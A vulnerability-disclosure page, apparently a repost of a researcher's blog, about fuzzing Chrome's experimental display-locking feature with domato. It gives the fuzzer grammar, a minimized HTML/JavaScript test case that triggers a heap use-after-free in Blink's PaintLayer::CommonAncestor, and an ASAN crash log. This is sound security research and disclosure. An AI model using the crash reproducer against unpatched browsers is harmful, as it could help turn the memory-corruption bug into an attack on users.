Google Chrome display locking fuzzing

2020.04.18
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Background While searching for interesting new functionalities in Google Chrome that would potentially be good targets for hunting security bugs I found display locking [https://www.chromestatus.com/feature/4613920211861504]. In general it is related to rendering optimization, so it caught my attention as something that is affecting how the web page layout is displayed. Functionalities like this should always attract attention as potential source of vulnerabilities. Currently display locking is hidden behind a flag (#enable-display-locking). Setup I used the same setup already described in my previous blog post about fuzzing the portal element [https://blog.redteam.pl/2019/12/chrome-portal-element-fuzzing.html]. In general there were a lot of changes to the spec and implementation of display locking functionality during the time I worked on it. First it was a JavaScript API [https://discourse.wicg.io/t/proposal-display-locking/2905], later it became a HTML attribute [https://github.com/whatwg/html/issues/4861] and at the time of writing this article it has been moved into CSS [https://github.com/WICG/display-locking]. Finally what it took to find an interesting issue was only a small addition to the grammar in the form of adding one HTML attribute – rendersubtree. The following grammar was used with domato fuzzer: attributevalues.txt: <rendersubtree_value> = invisible <rendersubtree_value> = skip-activation <rendersubtree_value> = skip-viewport-activation <rendersubtree_value> = holdupgrades <rendersubtree_value> = holdloads html.txt: <attribute> = <attribute_rendersubtree> <attribute_eventhandler> = <attribute_onrendersubtreeactivation> <attribute_rendersubtree> = rendersubtree="<rendersubtree_value>" <attribute_onrendersubtreeactivation> = onrendersubtreeactivation="<eventhandler>" js.txt: <Element>.rendersubtree = "<rendersubtree_value>"; <Element>.setAttribute("rendersubtree", "<rendersubtree_value>"); <Element>.setAttribute("rendersubtree", ""); setTimeout('<Element>.setAttribute("rendersubtree", "<rendersubtree_value>");', <int min=0 max=2000>); setTimeout('<Element>.setAttribute("rendersubtree", "");', <int min=0 max=2000>); <new EventHandler> = <GlobalEventHandlers>.onrendersubtreeactivation; <GlobalEventHandlers>.onrendersubtreeactivation = <EventHandler>; jshelpers.txt: <string_attr> = "rendersubtree" <string_attr> = "onrendersubtreeactivation" <string_attrvalue> = "<rendersubtree_value>" tagattributes.txt: <div_attribute> = <attribute_rendersubtree> <iframe_attribute> = <attribute_rendersubtree> <img_attribute> = <attribute_rendersubtree> [...] Note that rendersubtree attribute has been deprecated and current implementation is in CSS properties, more specifically subtree-visiblity and contain-intrinsic-size. Fuzzing results As usual some null pointer dereferences were showing up, so nothing really interesting there. It took some time and then after the implementation change, as already mentioned before an interesting crash showed up after the rendersubtree attribute was implemented. Heap Use-After-Free in chrome!blink::PaintLayer::CommonAncestor A Use-After-Free vulnerability in PaintLayer::CommonAncestor [https://bugs.chromium.org/p/chromium/issues/detail?id=1033795] that was reported on December 13, 2019. Below is a minimized test case that triggered the issue. <html> <head> <style> </style> <script> function boom1() { var fuzz1 = document.getElementById("fuzz1"); var svgfuzz1 = document.getElementById("svgfuzz1"); svgfuzz1.addEventListener("DOMSubtreeModified", boom1); fuzz1.setAttribute("rendersubtree", "invisible"); fuzz1.src = "x"; } function boom2() { fuzz2.setAttribute("rendersubtree", "invisible"); document.caretRangeFromPoint(71,6); document.body.appendChild(fuzz1); } </script> </head> <body> <svg id="svgfuzz1" onload="boom1()" > <a> <title id="fuzz2"></title> <animate onrepeat="boom2()" repeatDur="indefinite" dur="1"/> </svg> <a> <audio id="fuzz1" controls="controls" > </audio> </body> </html> The issue was confirmed on 80.0.3987.7 dev 64-bit and 81.0.3993.0 canary 64-bit. Part of the ASAN log: ==426180==ERROR: AddressSanitizer: heap-use-after-free on address 0x1218d6e37560 at pc 0x7ff951ca7e53 bp 0x00ebfd9f78e0 sp 0x00ebfd9f7928 READ of size 8 at 0x1218d6e37560 thread T0 #0 0x7ff951ca7e52 in blink::PaintLayer::CommonAncestor(class blink::PaintLayer const *) const C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:3551:1 #1 0x7ff95525eac9 in blink::CompositingInputsRoot::Update(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\compositing\compositing_inputs_root.cc:24:44 #2 0x7ff951c94f89 in blink::PaintLayer::RemoveChild(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:1373:5 #3 0x7ff95153d609 in blink::LayoutObject::RemoveLayers(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:632:19 #4 0x7ff95155e20d in blink::LayoutObject::WillBeRemovedFromTree(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3160:5 #5 0x7ff954b6d2eb in blink::LayoutObjectChildList::RemoveChildNode(class blink::LayoutObject *, class blink::LayoutObject *, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object_child_list.cc:124:18 #6 0x7ff952200aaf in blink::LayoutFlexibleBox::RemoveChild(class blink::LayoutObject *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_flexible_box.cc:280:16 #7 0x7ff95155cb27 in blink::LayoutObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3029:3 #8 0x7ff9517db451 in blink::LayoutBoxModelObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_box_model_object.cc:220:17 #9 0x7ff95155f3cd in blink::LayoutObject::Destroy(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3293:3 Google awarded a $5000 bounty for this one. Summary It was a second blog post where I wanted to demonstrate that it is possible to find security vulnerabilities without a big time investment. Picking the right target and timing is very important. In this case we had a functionality that was a good target because it influenced the rendering/drawing process. It was also in the early stages of development, specification changed a lot – it is always good time to look for bugs.

References:

https://blog.redteam.pl/2020/04/google-chrome-display-locking-fuzzing.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top